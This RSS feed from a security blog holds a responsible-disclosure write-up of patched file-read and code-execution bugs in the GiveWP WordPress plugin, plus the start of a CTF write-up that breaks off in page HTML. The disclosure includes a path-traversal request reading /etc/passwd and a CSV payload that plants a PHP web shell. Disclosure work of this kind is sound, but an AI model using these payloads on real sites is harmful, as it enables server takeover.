<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Yeraisci's Blog]]></title><description><![CDATA[InfoSec Engineer. Focusing on web application security.]]></description><link>https://yeraisci.com</link><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 15:56:56 GMT</lastBuildDate><atom:link href="https://yeraisci.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Authenticated LFI & RCE on GiveWP - Donation WordPress Plugin <= 2.20.2 (CVE-2022-31475 & CVE-2022-28700)]]></title><description><![CDATA[Prologue
GiveWP is one of the popular wordpress plugins to handle fundraising and donation with 100k+ installation. This plugin has main features like setting up donation forms, viewing details of donations/donors and generating a report. There is al...]]></description><link>https://yeraisci.com/authenticated-lfi-and-rce-on-givewp-donation-wordpress-plugin-less-2202-cve-2022-31475-and-cve-2022-28700</link><guid isPermaLink="true">https://yeraisci.com/authenticated-lfi-and-rce-on-givewp-donation-wordpress-plugin-less-2202-cve-2022-31475-and-cve-2022-28700</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[Security]]></category><category><![CDATA[WordPress]]></category><category><![CDATA[wordpress plugins]]></category><category><![CDATA[CVE]]></category><dc:creator><![CDATA[Rafie Muhammad]]></dc:creator><pubDate>Fri, 15 Jul 2022 09:34:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1655793106258/cuTPfBFQr.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-prologue">Prologue</h1>
<p><a target="_blank" href="Link">GiveWP</a> is one of the popular wordpress plugins to handle fundraising and donation with 100k+ installation. This plugin has main features like setting up donation forms, viewing details of donations/donors and generating a report. There is also other <code>tools</code> feature like import and export donations data.</p>
<p>In this blog post, we will demonstrate two vulnerability that affected GiveWP plugin. The two vulnerability already reported and fixed. It also already assigned <a target="_blank" href="https://patchstack.com/database/vulnerability/give/wordpress-givewp-plugin-2-20-2-authenticated-arbitrary-file-read-via-export-function-vulnerability">CVE-2022-31475</a> and <a target="_blank" href="https://patchstack.com/database/vulnerability/give/wordpress-givewp-plugin-2-20-2-authenticated-arbitrary-file-creation-via-export-function-vulnerability">CVE-2022-28700</a> by <a target="_blank" href="https://patchstack.com/">PatchStack</a>. This vulnerability require atleast GiveWP Manager role to exploit.</p>
<h1 id="heading-vulnerability-lfi">Vulnerability : LFI</h1>
<h2 id="heading-technical-analysis">Technical Analysis</h2>
<p>On the first step of this vulnerability research, I try to search for "file_get_contents" function call on the code base. One of the interesting code function that call it is located on <code>Give_Batch_Export</code> class function <code>get_file</code> inside <code>give/includes/admin/tools/export/class-batch-export.php</code> :</p>
<pre><code class="lang-php">    <span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get_file</span>(<span class="hljs-params"></span>) </span>{

        $file = <span class="hljs-string">''</span>;

        <span class="hljs-keyword">if</span> ( @file_exists( <span class="hljs-keyword">$this</span>-&gt;file ) ) {

            <span class="hljs-keyword">if</span> ( ! is_writable( <span class="hljs-keyword">$this</span>-&gt;file ) ) {
                <span class="hljs-keyword">$this</span>-&gt;is_writable = <span class="hljs-literal">false</span>;
            }

            $file = @file_get_contents( <span class="hljs-keyword">$this</span>-&gt;file );

        } <span class="hljs-keyword">else</span> {

            @file_put_contents( <span class="hljs-keyword">$this</span>-&gt;file, <span class="hljs-string">''</span> );
            @chmod( <span class="hljs-keyword">$this</span>-&gt;file, <span class="hljs-number">0664</span> );

        }

        <span class="hljs-keyword">return</span> $file;
    }
</code></pre>
<p>The function is literally will return content of the <code>$this-&gt;file</code> variable that already configured on the <code>__construct</code> function of the class :</p>
<pre><code class="lang-php">    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"> $_step = <span class="hljs-number">1</span>, $filename = <span class="hljs-literal">null</span> </span>) </span>{

        $upload_dir     = wp_upload_dir();
        <span class="hljs-keyword">$this</span>-&gt;filetype = <span class="hljs-string">'.csv'</span>;

        <span class="hljs-keyword">if</span> ( <span class="hljs-literal">null</span> === $filename ) {
            $hash           = uniqid();
            <span class="hljs-keyword">$this</span>-&gt;filename = <span class="hljs-string">"give-<span class="hljs-subst">{$hash}</span>-<span class="hljs-subst">{$this-&gt;export_type}</span><span class="hljs-subst">{$this-&gt;filetype}</span>"</span>;
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">$this</span>-&gt;filename = $filename;
        }

        <span class="hljs-keyword">$this</span>-&gt;file = trailingslashit( $upload_dir[<span class="hljs-string">'basedir'</span>] ) . <span class="hljs-keyword">$this</span>-&gt;filename;

        <span class="hljs-keyword">if</span> ( ! is_writable( $upload_dir[<span class="hljs-string">'basedir'</span>] ) ) {
            <span class="hljs-keyword">$this</span>-&gt;is_writable = <span class="hljs-literal">false</span>;
        }

        <span class="hljs-keyword">$this</span>-&gt;step = $_step;
        <span class="hljs-keyword">$this</span>-&gt;done = <span class="hljs-literal">false</span>;
    }
</code></pre>
<p>When doing a traceback call, this <code>get_file</code> function could be called from the function <code>export</code> in the same class :</p>
<pre><code class="lang-php">    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">export</span>(<span class="hljs-params"></span>) </span>{

        <span class="hljs-comment">// Set headers</span>
        <span class="hljs-keyword">$this</span>-&gt;headers();

        $file = <span class="hljs-keyword">$this</span>-&gt;get_file();

        @unlink( <span class="hljs-keyword">$this</span>-&gt;file );

        <span class="hljs-keyword">echo</span> $file;

        <span class="hljs-comment">/**
         * Fire action after file output.
         *
         * <span class="hljs-doctag">@since</span> 1.8
         */</span>
        do_action( <span class="hljs-string">'give_file_export_complete'</span>, $_REQUEST );

        give_die();
    }
</code></pre>
<p>After doing some tracing, this <code>Give_Batch_Export</code> class and the <code>export</code> function is actually will be called from function <code>give_process_batch_export_form</code> that is located on <code>give/includes/admin/tools/export/export-actions.php</code> :</p>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">give_process_batch_export_form</span>(<span class="hljs-params"></span>) </span>{

    <span class="hljs-keyword">if</span> ( ! wp_verify_nonce( $_REQUEST[<span class="hljs-string">'nonce'</span>], <span class="hljs-string">'give-batch-export'</span> ) ) {
        wp_die(
            esc_html__( <span class="hljs-string">'We\'re unable to recognize your session. Please refresh the screen to try again; otherwise contact your website administrator for assistance.'</span>, <span class="hljs-string">'give'</span> ),
            esc_html__( <span class="hljs-string">'Error'</span>, <span class="hljs-string">'give'</span> ),
            [
                <span class="hljs-string">'response'</span> =&gt; <span class="hljs-number">403</span>,
            ]
        );
    }

    <span class="hljs-keyword">require_once</span> GIVE_PLUGIN_DIR . <span class="hljs-string">'includes/admin/tools/export/class-batch-export.php'</span>;

    <span class="hljs-comment">/**
     * Fires before batch export.
     *
     * <span class="hljs-doctag">@since</span> 1.5
     *
     * <span class="hljs-doctag">@param</span> string $class Export class.
     */</span>
    do_action( <span class="hljs-string">'give_batch_export_class_include'</span>, $_REQUEST[<span class="hljs-string">'class'</span>] );

    $filename = $_REQUEST[<span class="hljs-string">'file_name'</span>];

    $export = <span class="hljs-keyword">new</span> $_REQUEST[<span class="hljs-string">'class'</span>]( <span class="hljs-number">1</span>, $filename );
    $export-&gt;export();

}

add_action( <span class="hljs-string">'give_form_batch_export'</span>, <span class="hljs-string">'give_process_batch_export_form'</span> );
</code></pre>
<p>The <code>give_process_batch_export_form</code> function is a callback function that will be called when user perform <code>give_form_batch_export</code> action.</p>
<p>Looking back to the attached code, notice that the code directly passes the <code>$_REQUEST['file_name']</code> as the <code>$filename</code> parameter to the <code>$_REQUEST['class']</code> class invoke that we can supply with <code>Give_Batch_Export</code> string.</p>
<p>The setup of <code>$this-&gt;file</code> on the class <code>__construct</code> function also doesn't check or sanitize for potential path traversal :</p>
<pre><code class="lang-php"><span class="hljs-keyword">$this</span>-&gt;file = trailingslashit( $upload_dir[<span class="hljs-string">'basedir'</span>] ) . <span class="hljs-keyword">$this</span>-&gt;filename;
</code></pre>
<p>With this, malicious users that act as GiveWP Manager could use that to leak sensitive local files on the wordpress server. </p>
<h2 id="heading-one-exploit-detail-missing">One Exploit Detail Missing</h2>
<p>To be able to exploit this, we need to find a <code>give-batch-export</code> nonce value, since the <code>give_process_batch_export_form</code> function will check the request nonce. </p>
<p>Searching for generation of <code>give-batch-export</code> nonce string on the code base, we find it inside <code>give_do_ajax_export</code> function : </p>
<pre><code class="lang-php">    } <span class="hljs-keyword">else</span> {

        $args = array_merge(
            $_REQUEST,
            [
                <span class="hljs-string">'step'</span>        =&gt; $step,
                <span class="hljs-string">'class'</span>       =&gt; $class,
                <span class="hljs-string">'nonce'</span>       =&gt; wp_create_nonce( <span class="hljs-string">'give-batch-export'</span> ),
                <span class="hljs-string">'give_action'</span> =&gt; <span class="hljs-string">'form_batch_export'</span>,
                <span class="hljs-string">'file_name'</span>   =&gt; $export-&gt;filename,
            ]
        );

        $json_data = [
            <span class="hljs-string">'step'</span> =&gt; <span class="hljs-string">'done'</span>,
            <span class="hljs-string">'url'</span>  =&gt; esc_url_raw(add_query_arg( $args, admin_url() )),
        ];

    }

    $export-&gt;unset_properties( give_clean( $_REQUEST ), $export );
    <span class="hljs-keyword">echo</span> json_encode( $json_data );
    <span class="hljs-keyword">exit</span>;
}
</code></pre>
<p>After analyzing, we could receive the nonce function after we successfully try to export donations data.</p>
<h2 id="heading-steps-to-reproduce-poc">Steps to Reproduce PoC</h2>
<ol>
<li>Admin Install wordpress site</li>
<li>Admin Install GiveWP Wordpress Plugin</li>
<li>Admin create User B account on wordpress with <code>GiveWP Manager</code> role</li>
<li>User B login to the wordpress site (Delete existing donations entry on GiveWP if exists for sake of testing)</li>
<li>User B insert some test donation data on the wordpress</li>
<li>User B goes to the Export Donations history feature at : <code>http://&lt;wordpress_site&gt;/wp-admin/edit.php?post_type=give_forms&amp;page=give-tools&amp;tab=export&amp;type=export_donations</code></li>
<li>User B clicks the "Generate CSV" button on the export page</li>
<li>User B check the Burp HTTP history and find POST request made to endpoint <code>/wp-admin/admin-ajax.php</code> with post body <code>action=give_do_ajax_export</code> and then copy the <code>nonce</code> value from the response</li>
<li>User B perform this HTTP request and could view content of <code>/etc/passwd</code> : </li>
</ol>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/wp-admin/?class=Give_Batch_Export&amp;nonce=&lt;value_from_step_8&gt;&amp;give_action=form_batch_export&amp;file_name=../../../../../../../../../etc/passwd</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: &lt;wordpress_site&gt;
<span class="hljs-attribute">sec-ch-ua-mobile</span>: ?0
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
<span class="hljs-attribute">sec-ch-ua-platform</span>: "Linux"
<span class="hljs-attribute">Referer</span>: http://localhost/wp-admin/edit.php?post_type=give_forms&amp;page=give-tools&amp;tab=export&amp;type=export_donations
<span class="hljs-attribute">Cookie</span>: [User B Cookie]
</code></pre>
<h2 id="heading-the-patch">The Patch</h2>
<p>The LFI vulnerability already fixed on GiveWP version 2.21.0 . The fix is implemented on <code>give_process_batch_export_form</code> function inside <code>give/includes/admin/tools/export/export-actions.php</code> :</p>
<pre><code class="lang-php">    $filename = basename(sanitize_file_name($_REQUEST[<span class="hljs-string">'file_name'</span>]), <span class="hljs-string">'.csv'</span>);
</code></pre>
<p>The <code>$filename</code> variable is already sanitized and thus cannot be supplied by the path traversal payload.</p>
<h1 id="heading-vulnerability-rce">Vulnerability : RCE</h1>
<h2 id="heading-technical-analysis">Technical Analysis</h2>
<p>On the first step of this vulnerability research, I try to search for "file_put_contents" function call on the code base. Little bit similar to the LFI vulnerability, one of the interesting code function that call it is located on <code>Give_Batch_Export</code> class function <code>stash_step_data</code> inside <code>give/includes/admin/tools/export/class-batch-export.php</code> :</p>
<pre><code class="lang-php">    <span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">stash_step_data</span>(<span class="hljs-params"> $data = <span class="hljs-string">''</span> </span>) </span>{

        $file  = <span class="hljs-keyword">$this</span>-&gt;get_file();
        $file .= $data;
        @file_put_contents( <span class="hljs-keyword">$this</span>-&gt;file, $file );

        <span class="hljs-comment">// If we have no rows after this step, mark it as an empty export.</span>
        $file_rows    = file( <span class="hljs-keyword">$this</span>-&gt;file, FILE_SKIP_EMPTY_LINES );
        $default_cols = <span class="hljs-keyword">$this</span>-&gt;get_csv_cols();
        $default_cols = <span class="hljs-keyword">empty</span>( $default_cols ) ? <span class="hljs-number">0</span> : <span class="hljs-number">1</span>;

        <span class="hljs-keyword">$this</span>-&gt;is_empty = count( $file_rows ) == $default_cols ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>;

    }
</code></pre>
<p>Above function will append the supplied <code>$data</code> parameter to the <code>$file</code> that fetched from <code>$this-&gt;get_file()</code> function. After doing a traceback call, the <code>stash_step_data</code> is could be called using this code function chaining on the <code>Give_Batch_Export</code> class :</p>
<pre><code>$this<span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span>process_step() <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> $this<span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span>print_csv_cols() <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> $this<span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span>stash_step_data( $col_data )
</code></pre><p>The <code>$col_data</code> is metadata of the donation list that will be converted to CSV rows. Now, we need to find code that could call the <code>Give_Batch_Export</code> class and perform the <code>process_step</code> function. We notice that we could call it using the <code>give_do_ajax_export</code> function inside <code>give/includes/admin/tools/export/export-functions.php</code>. This function is literally the main function to handle the process of batch export of donation via ajax.</p>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">give_do_ajax_export</span>(<span class="hljs-params"></span>) </span>{

    <span class="hljs-keyword">require_once</span> GIVE_PLUGIN_DIR . <span class="hljs-string">'includes/admin/tools/export/class-batch-export.php'</span>;

    parse_str( $_POST[<span class="hljs-string">'form'</span>], $form );

    $_REQUEST = $form = (<span class="hljs-keyword">array</span>) $form;

    <span class="hljs-keyword">if</span> (
        ! wp_verify_nonce( $_REQUEST[<span class="hljs-string">'give_ajax_export'</span>], <span class="hljs-string">'give_ajax_export'</span> )
        || ! current_user_can( <span class="hljs-string">'manage_give_settings'</span> )
    ) {
        <span class="hljs-keyword">die</span>( <span class="hljs-string">'-2'</span> );
    }

    <span class="hljs-comment">/**
     * Fires before batch export.
     *
     * <span class="hljs-doctag">@since</span> 1.5
     *
     * <span class="hljs-doctag">@param</span> string $class Export class.
     */</span>
    do_action( <span class="hljs-string">'give_batch_export_class_include'</span>, $form[<span class="hljs-string">'give-export-class'</span>] );

    $step     = absint( $_POST[<span class="hljs-string">'step'</span>] );
    $class    = sanitize_text_field( $form[<span class="hljs-string">'give-export-class'</span>] );
    $filename = <span class="hljs-keyword">isset</span>( $_POST[<span class="hljs-string">'file_name'</span>] ) ? sanitize_text_field( $_POST[<span class="hljs-string">'file_name'</span>] ) : <span class="hljs-literal">null</span>;

    <span class="hljs-comment">/* <span class="hljs-doctag">@var</span> Give_Batch_Export $export */</span>
    $export = <span class="hljs-keyword">new</span> $class( $step, $filename );

    <span class="hljs-keyword">if</span> ( ! $export-&gt;can_export() ) {
        <span class="hljs-keyword">die</span>( <span class="hljs-string">'-1'</span> );
    }

    <span class="hljs-keyword">if</span> ( ! $export-&gt;is_writable ) {
        $json_args = [
            <span class="hljs-string">'error'</span>   =&gt; <span class="hljs-literal">true</span>,
            <span class="hljs-string">'message'</span> =&gt; esc_html__( <span class="hljs-string">'Export location or file not writable.'</span>, <span class="hljs-string">'give'</span> ),
        ];
        <span class="hljs-keyword">echo</span> json_encode( $json_args );
        <span class="hljs-keyword">exit</span>;
    }

    $export-&gt;set_properties( give_clean( $_REQUEST ) );

    $export-&gt;pre_fetch();

    $ret = $export-&gt;process_step();
-------------------------- CUTTED HERE ----------------------------------
</code></pre>
<p>Notice that we could call an arbitrary class and supply the <code>$filename</code> for the called class. The <code>$filename</code> is not properly sanitized even if it's already using the <code>sanitize_text_field</code> function. Looking at the function <a target="_blank" href="https://developer.wordpress.org/reference/functions/sanitize_text_field/">docs</a>, this function is not proper to handle file names, thus we could supply the full path of a file using path traversal and write content to arbitrary php file extension.</p>
<p>Looking back to the <code>stash_step_data</code> function, we could literally write the exported donation's CSV rows to any arbitrary file.</p>
<h2 id="heading-one-exploit-detail-missing">One Exploit Detail Missing</h2>
<p>Donation data could be manually input from the donation form or we could import it from a csv file. But, every data input from manual form will be sanitized using the custom <code>give_clean</code> function : </p>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">give_clean</span>(<span class="hljs-params"> $var </span>) </span>{
    <span class="hljs-keyword">if</span> ( is_array( $var ) ) {
        <span class="hljs-keyword">return</span> array_map( <span class="hljs-string">'give_clean'</span>, $var );
    }

    <span class="hljs-keyword">return</span> is_scalar( $var ) ? sanitize_text_field( wp_unslash( $var ) ) : $var;
}
</code></pre>
<p>With that sanitization, we could not (or hardly) craft our malicious PHP code. However, input data from the import CSV process are not sanitized, thus we could inject malicious PHP code into one of the donation fields. When a malicious user, in this case, GiveWP Manager, tries to import donation CSV data, the imported data will be stored in the arbitrary file that the user specified and it could be set to the <code>.php</code> file.</p>
<p>Example of malicious import file (payload.csv) :</p>
<pre><code class="lang-csv">"Donation ID","Donation Number","Donation Total","Currency Code","Currency Symbol","Donation Status","Donation Date","Donation Time","Payment Gateway","Payment Mode","Form ID","Form Title","Level ID","Level Title","Title Prefix","First Name","Last Name","Email Address","Company Name","Address 1","Address 2","City","State","Zip","Country","Donor Comment","User ID","Donor ID","Donor IP Address"
"1337","1","25","USD","$","Complete","June 2, 2022","13:50","manual","test","1337","Donation Form","3","$25","","&lt;?php if(isset($_REQUEST['c'])) system($_REQUEST['c']) ;?&gt;","asededdasd","user@mail.com","","","","","","","","","1","1","127.0.0.1"
</code></pre>
<h2 id="heading-steps-to-reproduce-poc">Steps to Reproduce PoC</h2>
<ol>
<li>Admin Install wordpress site</li>
<li>Admin Install GiveWP Wordpress Plugin</li>
<li>Admin create User B account on wordpress with "GiveWP Manager" role</li>
<li>User B login to the wordpress site (Delete existing donations entry on GiveWP if exists for sake of testing)</li>
<li>User B go to <code>http://&lt;wordpress_site&gt;/wp-admin/edit.php?post_type=give_forms&amp;page=give-tools&amp;tab=import&amp;importer-type=import_donations</code> to try import a donation</li>
<li>User B chooses the attached <code>payload.csv</code> and uploads it to the field. Uncheck the dry run button, Choose "Enabled" on "Test Mode" and click "Begin Import"</li>
<li>In the next page (Column Mapping), User B clicks "Submit"</li>
<li>After the import success, User B goes to the Export Donations history feature at : <code>http://&lt;wordpress_site&gt;/wp-admin/edit.php?post_type=give_forms&amp;page=give-tools&amp;tab=export&amp;type=export_donations</code></li>
<li>User B turn on BurpSuite and intercept the request</li>
<li>User B clicks the "Generate CSV" button on the export page</li>
<li>User B check the burp http history and find POST request made to endpoint <code>/wp-admin/admin-ajax.php</code> with post body action=give_do_ajax_export and then sent the request to repeater</li>
<li>User B adds <code>file_name=../../../../../../../../../&lt;wordpress base path&gt;/wp-content/uploads/shell.php</code> to the POST body data. (Assume that User B knows the wordpress base path using another vuln or technique) and send the request</li>
<li>User B visits the uploaded shell on <code>http://&lt;wordpress_site&gt;/wp-content/uploads/shell.php?c=id</code> and RCE can be confirmed</li>
</ol>
<h2 id="heading-the-patch">The Patch</h2>
<p>The RCE vulnerability already fixed on GiveWP version 2.21.0 . The fix is implemented on <code>give_do_ajax_export</code> function inside <code>give/includes/admin/tools/export/export-functions.php</code> :</p>
<pre><code class="lang-php">    $filename = <span class="hljs-keyword">isset</span>( $_POST[<span class="hljs-string">'file_name'</span>] ) ?
        basename(sanitize_file_name( $_POST[<span class="hljs-string">'file_name'</span>] ), <span class="hljs-string">'.csv'</span>) :
        <span class="hljs-literal">null</span>;
</code></pre>
<p>The <code>$filename</code> variable is already sanitized and thus cannot be supplied by the path traversal payload.</p>
<h1 id="heading-disclosure-timeline">Disclosure Timeline</h1>
<ul>
<li>2022-06-03    : Reported both vulnerabilities through <a target="_blank" href="https://www.liquidweb.com/about-us/policies/bug-bounty-program/">Liquid Web Family of Brands Bug Bounty Program</a></li>
<li>2022-06-16    : Vulnerability fixed on GiveWP version 2.21.0</li>
<li>2022-07-12    : Vulnerability published and assigned CVE by PatchStack</li>
<li>2022-07-15    : Detailed blog post published</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[[Arkavidia 7.0 CTF Writeup] Arkavidia Atlas]]></title><description><![CDATA[Chall Description




Initial Foothold


When first visit the webpage, we get this view of some sort of maps :

There is something interesting on the source page and on the JS files :
view-source:http://slave2.ctf.arkavidia.id:10021/
<!doctype html>
...]]></description><link>https://yeraisci.com/arkavidia-70-ctf-writeup-arkavidia-atlas</link><guid isPermaLink="true">https://yeraisci.com/arkavidia-70-ctf-writeup-arkavidia-atlas</guid><category><![CDATA[CTF]]></category><category><![CDATA[XSS]]></category><category><![CDATA[#sqlinjection]]></category><dc:creator><![CDATA[Rafie Muhammad]]></dc:creator><pubDate>Sun, 28 Feb 2021 06:20:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1657866411494/f2sP0m0zo.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-chall-description">Chall Description</h2>
<hr />


<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657866152524/7KvOnXz5K.png" alt="arkavidia_atlas_chall_desc.png" class="image--center mx-auto" /></p>
<h2 id="heading-initial-foothold">Initial Foothold</h2>
<hr />

<p>When first visit the webpage, we get this view of some sort of maps :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657866160432/IeXgjYLRB.png" alt="arkavidia_atlas_web_view.png" class="image--center mx-auto" /></p>
<p>There is something interesting on the source page and on the JS files :</p>
<h3 id="heading-view-sourcehttpslave2ctfarkavidiaid10021">view-source:http://slave2.ctf.arkavidia.id:10021/</h3>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!doctype <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Arkavidia Atlas<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"tailwind.css"</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://unpkg.com/leaflet@1.7.1/dist/leaflet.css"</span> <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha512-xodZBNTC5n17Xt2atTPuE1HxjVMSvLVW9ocqUKLsCC5CXdbqCmblAshOMAS6/keqq/sMZMZ19scR4PsZChSR7A=="</span> <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">""</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://unpkg.com/leaflet@1.7.1/dist/leaflet.js"</span> <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha512-XQoYMqMTK8LvdxXYG3nZ448hOEQiglfqkJs1NOQV44cWnUrBc8PkAOcXy20w0vlaXaVUearIOBhiXZ5V3ynxwA=="</span> <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">""</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/leaflet.markercluster.js"</span> <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha512-MQlyPV+ol2lp4KodaU/Xmrn+txc1TP15pOBF/2Sfre7MRsA/pB4Vy58bEqe9u7a7DczMLtU5wT8n7OblJepKbg=="</span> <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">"anonymous"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://code.jquery.com/jquery-3.5.1.min.js"</span> <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="</span> <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">"anonymous"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"atlas.js"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"map"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"w-full h-full absolute"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"z-index: -1"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"bg-white shadow-lg w-full max-w-md absolute m-4 rounded-sm"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"p-3"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">h1</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-2xl"</span>&gt;</span>Arkavidia Atlas<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"inst"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"p-3 border-t"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Click on a pin to see the location details<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"details"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"hidden border-t"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"poi-preview"</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"100%"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"mb-2"</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"p-3"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">h3</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-xl"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"poi-title"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"poi-desc"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"mt-2 text-gray-500"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"mt-3"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-red-500 text-xs cursor-pointer"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"close-btn"</span>&gt;</span><span class="hljs-symbol">&amp;#x2715;</span> <span class="hljs-symbol">&amp;nbsp;</span>Close Details<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
